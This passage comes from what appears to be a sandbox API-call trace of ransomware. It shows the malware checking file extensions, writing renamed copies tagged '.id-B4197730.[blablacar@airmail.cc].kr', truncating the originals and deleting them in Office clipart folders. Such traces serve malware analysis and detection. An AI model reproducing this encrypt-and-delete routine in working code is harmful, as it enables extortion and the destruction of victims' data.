lpNewFilePointer=0x0) returned 1 [0181.841] SetEndOfFile (hFile=0x480) returned 1 [0181.843] CloseHandle (hObject=0x480) returned 1 [0181.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0181.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0181.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0181.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0181.844] lstrlenW (lpString=".doc") returned 4 [0181.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.844] lstrlenW (lpString=".docx") returned 5 [0181.844] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.844] lstrlenW (lpString=".pdf") returned 4 [0181.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.844] lstrlenW (lpString=".xls") returned 4 [0181.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.844] lstrlenW (lpString=".xlsx") returned 5 [0181.844] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.844] lstrlenW (lpString=".ppt") returned 4 [0181.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0181.844] lstrlenW (lpString=".zip") returned 4 [0181.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.844] lstrlenW (lpString=".rar") returned 4 [0181.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.844] lstrlenW (lpString=".bz2") returned 4 [0181.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.845] lstrlenW (lpString=".7z") returned 3 [0181.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0181.845] lstrlenW (lpString=".dbf") returned 4 [0181.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0181.845] lstrlenW (lpString=".1cd") returned 4 [0181.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0181.845] lstrlenW (lpString=".jpg") returned 4 [0181.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0181.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0181.845] lstrlenW (lpString=".doc") returned 4 [0181.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.845] lstrlenW (lpString=".docx") returned 5 [0181.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.845] lstrlenW (lpString=".pdf") returned 4 [0181.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.845] lstrlenW (lpString=".xls") returned 4 [0181.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.845] lstrlenW (lpString=".xlsx") returned 5 [0181.845] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.845] lstrlenW (lpString=".ppt") returned 4 [0181.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0181.845] lstrlenW (lpString=".zip") returned 4 [0181.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.845] lstrlenW (lpString=".rar") returned 4 [0181.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.845] lstrlenW (lpString=".bz2") returned 4 [0181.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.846] lstrlenW (lpString=".7z") returned 3 [0181.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0181.846] lstrlenW (lpString=".dbf") returned 4 [0181.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0181.846] lstrlenW (lpString=".1cd") returned 4 [0181.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0181.846] lstrlenW (lpString=".jpg") returned 4 [0181.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.846] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0181.846] lstrlenW (lpString="BL00265_.WMF") returned 12 [0181.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0181.847] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=5752) returned 1 [0181.847] CloseHandle (hObject=0x480) returned 1 [0181.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x220 [0181.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0181.848] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.848] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0181.848] GetLastError () returned 0x0 [0181.848] ReadFile (in: hFile=0x480, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x1678, lpOverlapped=0x0) returned 1 [0181.850] WriteFile (in: hFile=0x484, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1680, lpOverlapped=0x0) returned 1 [0181.851] ReadFile (in: hFile=0x480, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.851] WriteFile (in: hFile=0x484, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0181.851] SetEndOfFile (hFile=0x484) returned 1 [0181.851] CloseHandle (hObject=0x484) returned 1 [0181.853] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.853] SetEndOfFile (hFile=0x480) returned 1 [0181.856] CloseHandle (hObject=0x480) returned 1 [0181.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0181.856] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0181.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0181.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0181.857] lstrlenW (lpString=".doc") returned 4 [0181.857] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.857] lstrlenW (lpString=".docx") returned 5 [0181.857] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.857] lstrlenW (lpString=".pdf") returned 4 [0181.857] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.857] lstrlenW (lpString=".xls") returned 4 [0181.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.857] lstrlenW (lpString=".xlsx") returned 5 [0181.857] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.857] lstrlenW (lpString=".ppt") returned 4 [0181.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0181.857] lstrlenW (lpString=".zip") returned 4 [0181.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.857] lstrlenW (lpString=".rar") returned 4 [0181.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.857] lstrlenW (lpString=".bz2") returned 4 [0181.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.857] lstrlenW (lpString=".7z") returned 3 [0181.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0181.858] lstrlenW (lpString=".dbf") returned 4 [0181.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0181.858] lstrlenW (lpString=".1cd") returned 4 [0181.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0181.858] lstrlenW (lpString=".jpg") returned 4 [0181.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0181.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0181.858] lstrlenW (lpString=".doc") returned 4 [0181.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.858] lstrlenW (lpString=".docx") returned 5 [0181.858] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.858] lstrlenW (lpString=".pdf") returned 4 [0181.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.859] lstrlenW (lpString=".xls") returned 4 [0182.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.238] lstrlenW (lpString=".xlsx") returned 5 [0182.238] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.238] lstrlenW (lpString=".ppt") returned 4 [0182.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0182.238] lstrlenW (lpString=".zip") returned 4 [0182.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.238] lstrlenW (lpString=".rar") returned 4 [0182.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.238] lstrlenW (lpString=".bz2") returned 4 [0182.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.238] lstrlenW (lpString=".7z") returned 3 [0182.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0182.238] lstrlenW (lpString=".dbf") returned 4 [0182.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0182.238] lstrlenW (lpString=".1cd") returned 4 [0182.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0182.238] lstrlenW (lpString=".jpg") returned 4 [0182.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.238] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0182.238] lstrlenW (lpString="BL00392_.WMF") returned 12 [0182.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0182.240] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=27050) returned 1 [0182.240] CloseHandle (hObject=0x4c4) returned 1 [0182.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x220 [0182.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0182.240] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.241] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0182.242] GetLastError () returned 0x0 [0182.242] ReadFile (in: hFile=0x4c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x69aa, lpOverlapped=0x0) returned 1 [0182.244] WriteFile (in: hFile=0x4c8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x69b0, lpOverlapped=0x0) returned 1 [0182.246] ReadFile (in: hFile=0x4c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.246] WriteFile (in: hFile=0x4c8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.246] SetEndOfFile (hFile=0x4c8) returned 1 [0182.246] CloseHandle (hObject=0x4c8) returned 1 [0182.246] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.246] SetEndOfFile (hFile=0x4c4) returned 1 [0182.249] CloseHandle (hObject=0x4c4) returned 1 [0182.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0182.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0182.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0182.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0182.250] lstrlenW (lpString=".doc") returned 4 [0182.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.250] lstrlenW (lpString=".docx") returned 5 [0182.250] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.250] lstrlenW (lpString=".pdf") returned 4 [0182.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.250] lstrlenW (lpString=".xls") returned 4 [0182.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.250] lstrlenW (lpString=".xlsx") returned 5 [0182.250] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.250] lstrlenW (lpString=".ppt") returned 4 [0182.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0182.251] lstrlenW (lpString=".zip") returned 4 [0182.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.251] lstrlenW (lpString=".rar") returned 4 [0182.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.251] lstrlenW (lpString=".bz2") returned 4 [0182.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.251] lstrlenW (lpString=".7z") returned 3 [0182.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0182.251] lstrlenW (lpString=".dbf") returned 4 [0182.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0182.251] lstrlenW (lpString=".1cd") returned 4 [0182.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0182.251] lstrlenW (lpString=".jpg") returned 4 [0182.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0182.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0182.251] lstrlenW (lpString=".doc") returned 4 [0182.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.251] lstrlenW (lpString=".docx") returned 5 [0182.251] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.251] lstrlenW (lpString=".pdf") returned 4 [0182.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.251] lstrlenW (lpString=".xls") returned 4 [0182.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.251] lstrlenW (lpString=".xlsx") returned 5 [0182.251] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.251] lstrlenW (lpString=".ppt") returned 4 [0182.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0182.252] lstrlenW (lpString=".zip") returned 4 [0182.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.252] lstrlenW (lpString=".rar") returned 4 [0182.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.252] lstrlenW (lpString=".bz2") returned 4 [0182.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.252] lstrlenW (lpString=".7z") returned 3 [0182.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0182.252] lstrlenW (lpString=".dbf") returned 4 [0182.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0182.252] lstrlenW (lpString=".1cd") returned 4 [0182.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0182.252] lstrlenW (lpString=".jpg") returned 4 [0182.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.252] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0182.252] lstrlenW (lpString="BL00524_.WMF") returned 12 [0182.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0182.253] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=6996) returned 1 [0182.253] CloseHandle (hObject=0x4c4) returned 1 [0182.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x220 [0182.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0182.253] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.253] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0182.254] GetLastError () returned 0x0 [0182.254] ReadFile (in: hFile=0x4c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x1b54, lpOverlapped=0x0) returned 1 [0182.256] WriteFile (in: hFile=0x4c8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1b60, lpOverlapped=0x0) returned 1 [0182.257] ReadFile (in: hFile=0x4c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.257] WriteFile (in: hFile=0x4c8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.257] SetEndOfFile (hFile=0x4c8) returned 1 [0182.257] CloseHandle (hObject=0x4c8) returned 1 [0182.257] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.257] SetEndOfFile (hFile=0x4c4) returned 1 [0182.259] CloseHandle (hObject=0x4c4) returned 1 [0182.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0182.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 